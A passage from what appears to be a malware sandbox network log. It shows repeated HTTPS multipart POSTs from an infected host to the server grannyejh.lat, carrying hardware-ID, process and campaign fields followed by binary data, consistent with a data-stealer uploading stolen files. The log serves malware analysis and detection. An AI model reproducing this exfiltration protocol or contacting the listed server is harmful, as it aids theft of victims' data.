2024-12-18 14:59:00 UTC	1369	IN	Data Raw: 78 46 6b 4e 44 4c 43 30 64 34 4c 71 78 64 50 36 73 5a 4f 4f 51 36 37 45 4f 45 4e 6c 68 66 74 73 2b 5a 34 56 4d 39 4f 4d 6e 5a 62 49 45 55 55 52 4b 51 32 69 31 36 4f 4d 31 76 75 6c 30 6b 37 65 2b 70 45 42 47 6a 44 6b 76 69 54 42 2f 79 6b 75 76 79 48 55 72 38 53 30 63 51 32 77 39 46 2f 76 61 34 53 32 67 2b 57 32 38 78 49 79 70 53 55 6d 64 50 79 6e 47 50 6e 47 46 44 62 65 70 5a 79 33 78 46 6b 4e 44 4c 43 30 64 34 4c 71 78 64 50 36 73 5a 4f 4f 51 36 37 45 4f 45 4e 6c 68 66 74 73 2b 5a 34 56 4d 39 4f 4d 6e 5a 62 49 45 55 55 52 4b 51 32 69 31 36 4f 4d 31 76 75 6c 30 34 71 65 64 68 6e 42 32 6e 69 77 77 78 33 6b 70 31 45 75 35 73 54 6f 6a 36 53 73 53 53 7a 52 43 41 66 76 33 6f 6e 76 75 79 33 69 6a 68 36 79 78 58 77 57 73 49 54 6e 49 61 43 2f 53 42 4c 6a 66 41 30 Data Ascii: xFkNDLC0d4LqxdP6sZOOQ67EOENlhfts+Z4VM9OMnZbIEUURKQ2i16OM1vul0k7e+pEBGjDkviTB/ykuvyHUr8S0cQ2w9F/va4S2g+W28xIypSUmdPynGPnGFDbepZy3xFkNDLC0d4LqxdP6sZOOQ67EOENlhfts+Z4VM9OMnZbIEUURKQ2i16OM1vul04qedhnB2niwwx3kp1Eu5sToj6SsSSzRCAfv3onvuy3ijh6yxXwWsITnIaC/SBLjfA0
2024-12-18 14:59:00 UTC	1369	IN	Data Raw: 46 57 46 2b 58 37 7a 52 33 41 36 38 2b 57 75 75 79 35 71 78 54 55 69 46 4b 48 36 48 50 69 65 46 55 37 66 63 4a 32 53 68 45 52 4a 4e 4e 48 45 50 34 36 2f 76 4d 61 6e 75 65 4f 47 4f 73 61 41 4f 56 38 55 32 66 74 38 2b 5a 35 5a 46 74 2b 4e 31 4f 2f 46 56 58 41 35 31 66 6b 47 34 2f 66 41 6c 72 65 68 34 36 72 65 56 69 6c 78 50 6d 79 78 38 2b 48 4d 37 30 78 37 30 34 54 4a 64 6a 7a 39 41 42 47 52 2b 44 5a 66 6f 37 79 2b 51 77 45 79 38 6a 72 76 6c 61 45 75 64 4c 48 36 48 50 69 65 46 55 37 66 63 4a 32 53 68 45 52 41 76 63 33 42 44 2b 2f 43 73 4f 75 37 6f 4f 2f 58 61 35 65 64 63 43 4e 4e 76 65 63 70 73 4c 63 4d 49 34 66 4a 79 58 59 38 2f 51 41 52 6b 66 67 32 4b 34 75 59 31 75 2f 31 72 71 72 65 56 69 6c 78 50 6d 79 78 38 37 45 52 39 39 42 33 30 38 54 74 6b 38 56 77 Data Ascii: FWF+X7zR3A68+Wuuy5qxTUiFKH6HPieFU7fcJ2ShERJNNHEP46/vManueOGOsaAOV8U2ft8+Z5ZFt+N1O/FVXA51fkG4/fAlreh46reVilxPmyx8+HM70x704TJdjz9ABGR+DZfo7y+QwEy8jrvlaEudLH6HPieFU7fcJ2ShERAvc3BD+/CsOu7oO/Xa5edcCNNvecpsLcMI4fJyXY8/QARkfg2K4uY1u/1rqreVilxPmyx87ER99B308Ttk8Vw

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.10	50182	172.67.179.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:58:59 UTC	269	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=05ATNC1V User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15014 Host: grannyejh.lat
2024-12-18 14:58:59 UTC	15014	OUT	Data Raw: 2d 2d 30 35 41 54 4e 43 31 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 42 38 41 36 33 30 36 31 34 34 36 39 36 35 35 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 30 35 41 54 4e 43 31 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 30 35 41 54 4e 43 31 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 30 35 41 54 4e 43 31 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 Data Ascii: --05ATNC1VContent-Disposition: form-data; name="hwid"0B8A630614469655AC8923850305D13E--05ATNC1VContent-Disposition: form-data; name="pid"2--05ATNC1VContent-Disposition: form-data; name="lid"PsFKDg--pablo--05ATNC1VContent-Disposit
2024-12-18 14:59:00 UTC	1027	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:59:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fj2h5c5unu1gmshrboulk0ftfv; expires=Sun, 13-Apr-2025 08:45:39 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zL3jqRJGtfpdEUm5EWHj7TGtpHE3QTMD9z4oGN8OTt6ZhjMQrvbsWYkHC60cN0BfvjPOP3M0bfBH2TkCY024z5jrSdPmZUwvMydkIEPQofpY7U6jBH6%2Bnd8ExBGEwicx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4003a53eac80e2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1619&min_rtt=1619&rtt_var=809&sent=10&recv=21&lost=0&retrans=1&sent_bytes=4198&recv_bytes=15941&delivery_rate=303408&cwnd=114&unsent_bytes=0&cid=90e1eec71aac4a2f&ts=804&x=0"
2024-12-18 14:59:00 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 14:59:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.10	50183	172.67.179.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:59:02 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=6UO9TW7PDHZM387GHVT User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20442 Host: grannyejh.lat
2024-12-18 14:59:02 UTC	15331	OUT	Data Raw: 2d 2d 36 55 4f 39 54 57 37 50 44 48 5a 4d 33 38 37 47 48 56 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 42 38 41 36 33 30 36 31 34 34 36 39 36 35 35 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 36 55 4f 39 54 57 37 50 44 48 5a 4d 33 38 37 47 48 56 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 36 55 4f 39 54 57 37 50 44 48 5a 4d 33 38 37 47 48 56 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 Data Ascii: --6UO9TW7PDHZM387GHVTContent-Disposition: form-data; name="hwid"0B8A630614469655AC8923850305D13E--6UO9TW7PDHZM387GHVTContent-Disposition: form-data; name="pid"3--6UO9TW7PDHZM387GHVTContent-Disposition: form-data; name="lid"PsFKDg--pa
2024-12-18 14:59:02 UTC	5111	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 60 83 eb 8b 82 f9 0d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 70 fd 51 30 bf e1 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 0d ae 2f 0a e6 37 fc 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c1 f5 47 c1 fc 86 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b8 be 28 98 df f0 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 06 d7 1f 05 f3 1b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e0 fa a2 60 7e Data Ascii: `?lpQ0/74G6(~`~
2024-12-18 14:59:02 UTC	1028	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:59:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gtg48uvcnpk09t5114688on4pi; expires=Sun, 13-Apr-2025 08:45:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=InfRAkWFTm6Y8BUtLD73X5qLVrQrCneOdOgARWy9cfghjRgUt23VJQExxTji64FEROtO23gmsaYduIXIwbJXE5b26VzF%2BRuWSFZD2g2je23ORj2ms0s5pLisvc2NCKoq"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4003b31a940f98-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1627&min_rtt=1627&rtt_var=610&sent=17&recv=25&lost=0&retrans=0&sent_bytes=2829&recv_bytes=21402&delivery_rate=1794714&cwnd=182&unsent_bytes=0&cid=8a633b216b2301eb&ts=907&x=0"
2024-12-18 14:59:02 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 14:59:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.10	50185	172.67.179.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:59:03 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=STBQGTE4VTVVS User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12817 Host: grannyejh.lat
2024-12-18 14:59:03 UTC	12817	OUT	Data Raw: 2d 2d 53 54 42 51 47 54 45 34 56 54 56 56 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 42 38 41 36 33 30 36 31 34 34 36 39 36 35 35 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 53 54 42 51 47 54 45 34 56 54 56 56 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 53 54 42 51 47 54 45 34 56 54 56 56 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 53 54 42 51 47 54 45 34 56 54 56 Data Ascii: --STBQGTE4VTVVSContent-Disposition: form-data; name="hwid"0B8A630614469655AC8923850305D13E--STBQGTE4VTVVSContent-Disposition: form-data; name="pid"2--STBQGTE4VTVVSContent-Disposition: form-data; name="lid"PsFKDg--pablo--STBQGTE4VTV
2024-12-18 14:59:04 UTC	1032	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:59:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=t47gpslv94cjrgratba9ulqemi; expires=Sun, 13-Apr-2025 08:45:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=g2WEapVl3WziPPlFDmmFjefel45LGxl%2F7Ww9glSovLUBixVUpe7%2FA8CV9gHVDScpgZI7GbB58HUYkxdvB9spKDM%2B2gG6y1pIo1AwX0vXUpAOYdi9IvXbckpzaGJHW9PN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4003bce8514315-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1700&min_rtt=1693&rtt_var=649&sent=12&recv=18&lost=0&retrans=0&sent_bytes=2830&recv_bytes=13749&delivery_rate=1666666&cwnd=218&unsent_bytes=0&cid=af23d78dc9ef3f99&ts=836&x=0"
2024-12-18 14:59:04 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 14:59:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.10	50187	172.67.179.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:59:04 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=UKA0I1TZXBQ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1359 Host: grannyejh.lat
2024-12-18 14:59:04 UTC	1359	OUT	Data Raw: 2d 2d 55 4b 41 30 49 31 54 5a 58 42 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 42 38 41 36 33 30 36 31 34 34 36 39 36 35 35 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 55 4b 41 30 49 31 54 5a 58 42 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 55 4b 41 30 49 31 54 5a 58 42 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 55 4b 41 30 49 31 54 5a 58 42 51 0d 0a 43 6f 6e 74 Data Ascii: --UKA0I1TZXBQContent-Disposition: form-data; name="hwid"0B8A630614469655AC8923850305D13E--UKA0I1TZXBQContent-Disposition: form-data; name="pid"1--UKA0I1TZXBQContent-Disposition: form-data; name="lid"PsFKDg--pablo--UKA0I1TZXBQCont
2024-12-18 14:59:06 UTC	1040	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:59:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fd687ign8105i0t8i97v3a2q25; expires=Sun, 13-Apr-2025 08:45:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uqqFgmqG8uXd8%2BaRC%2FQ3I7VygIk%2F1Qina9TskrArrDc0PhXD9SspuJWHj1LWzVQeIT4BotWB20SJlhPc%2BtET3C7lAhgw7HxxWA%2Fr%2B0%2B9aJ%2F2GqWEtZjfDtCrov5bujGZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4003c12aa7de94-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1657&min_rtt=1652&rtt_var=631&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2830&recv_bytes=2266&delivery_rate=1719670&cwnd=231&unsent_bytes=0&cid=2f70fbf0e3e5fb4a&ts=1807&x=0"
2024-12-18 14:59:06 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 14:59:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.10	50188	172.67.179.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:59:05 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=VOWRNYZUIN0B1HHI9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15068 Host: grannyejh.lat
2024-12-18 14:59:05 UTC	15068	OUT	Data Raw: 2d 2d 56 4f 57 52 4e 59 5a 55 49 4e 30 42 31 48 48 49 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 42 38 41 36 33 30 36 31 34 34 36 39 36 35 35 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 56 4f 57 52 4e 59 5a 55 49 4e 30 42 31 48 48 49 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 56 4f 57 52 4e 59 5a 55 49 4e 30 42 31 48 48 49 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d Data Ascii: --VOWRNYZUIN0B1HHI9Content-Disposition: form-data; name="hwid"0B8A630614469655AC8923850305D13E--VOWRNYZUIN0B1HHI9Content-Disposition: form-data; name="pid"2--VOWRNYZUIN0B1HHI9Content-Disposition: form-data; name="lid"PsFKDg--pablo-
2024-12-18 14:59:06 UTC	1042	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:59:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cv7hv56qn04g292t6g0pg3k3t2; expires=Sun, 13-Apr-2025 08:45:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HP4xKE%2BDGSdX%2BjHoWTu1Z2%2B3J8ZVII9dOdR2GZf1z%2FqABLJOSGif5895dafxJXYhvFlxPE4HMQJNnNq8%2BLDE3jl%2FPqlSW6J6ZHQQeVm%2Bwhjkh0aXUpZ0dgUfnJv%2F4GJJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4003cae9e08c8a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1847&min_rtt=1837&rtt_var=710&sent=10&recv=21&lost=0&retrans=0&sent_bytes=2830&recv_bytes=16004&delivery_rate=1518460&cwnd=248&unsent_bytes=0&cid=e6a3dbfa184da5c6&ts=788&x=0"
2024-12-18 14:59:06 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 14:59:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.10	50192	172.67.179.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:59:08 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=S55946WMIWMSUG6XM User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20430 Host: grannyejh.lat
2024-12-18 14:59:08 UTC	15331	OUT	Data Raw: 2d 2d 53 35 35 39 34 36 57 4d 49 57 4d 53 55 47 36 58 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 42 38 41 36 33 30 36 31 34 34 36 39 36 35 35 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 53 35 35 39 34 36 57 4d 49 57 4d 53 55 47 36 58 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 53 35 35 39 34 36 57 4d 49 57 4d 53 55 47 36 58 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d Data Ascii: --S55946WMIWMSUG6XMContent-Disposition: form-data; name="hwid"0B8A630614469655AC8923850305D13E--S55946WMIWMSUG6XMContent-Disposition: form-data; name="pid"3--S55946WMIWMSUG6XMContent-Disposition: form-data; name="lid"PsFKDg--pablo-
2024-12-18 14:59:08 UTC	5099	OUT	Data Raw: 00 60 83 eb 8b 82 f9 0d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 70 fd 51 30 bf e1 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 0d ae 2f 0a e6 37 fc 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c1 f5 47 c1 fc 86 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b8 be 28 98 df f0 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 06 d7 1f 05 f3 1b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e0 fa a2 60 7e c3 4f 03 00 00 00 00 00 00 00 Data Ascii: `?lpQ0/74G6(~`~O
2024-12-18 14:59:08 UTC	1035	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:59:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=dn2e1egrbbol00g0g93m209gd9; expires=Sun, 13-Apr-2025 08:45:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SWiyYYClo90wbGb2ieAliFXyG70AQJhP%2FmI6z0cXXQmkG6Mff6LWwEHahizcrBUrzqPd4VOe%2BMLWpi%2F10ufgtnUs4epbxKWLXUEujw0nGMfS%2FmOUwlDl5PI86%2BLKydZX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4003d8ca5541d3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2067&min_rtt=2058&rtt_var=789&sent=11&recv=24&lost=0&retrans=0&sent_bytes=2830&recv_bytes=21388&delivery_rate=1370892&cwnd=32&unsent_bytes=0&cid=1116c4427c9e9c3f&ts=916&x=0"
2024-12-18 14:59:08 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 14:59:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.10	50193	172.67.179.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:59:08 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SRMP4MB1JUUG64FF2HD User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 574787 Host: grannyejh.lat
2024-12-18 14:59:08 UTC	15331	OUT	Data Raw: 2d 2d 53 52 4d 50 34 4d 42 31 4a 55 55 47 36 34 46 46 32 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 42 38 41 36 33 30 36 31 34 34 36 39 36 35 35 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 53 52 4d 50 34 4d 42 31 4a 55 55 47 36 34 46 46 32 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 53 52 4d 50 34 4d 42 31 4a 55 55 47 36 34 46 46 32 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 Data Ascii: --SRMP4MB1JUUG64FF2HDContent-Disposition: form-data; name="hwid"0B8A630614469655AC8923850305D13E--SRMP4MB1JUUG64FF2HDContent-Disposition: form-data; name="pid"1--SRMP4MB1JUUG64FF2HDContent-Disposition: form-data; name="lid"PsFKDg--pa
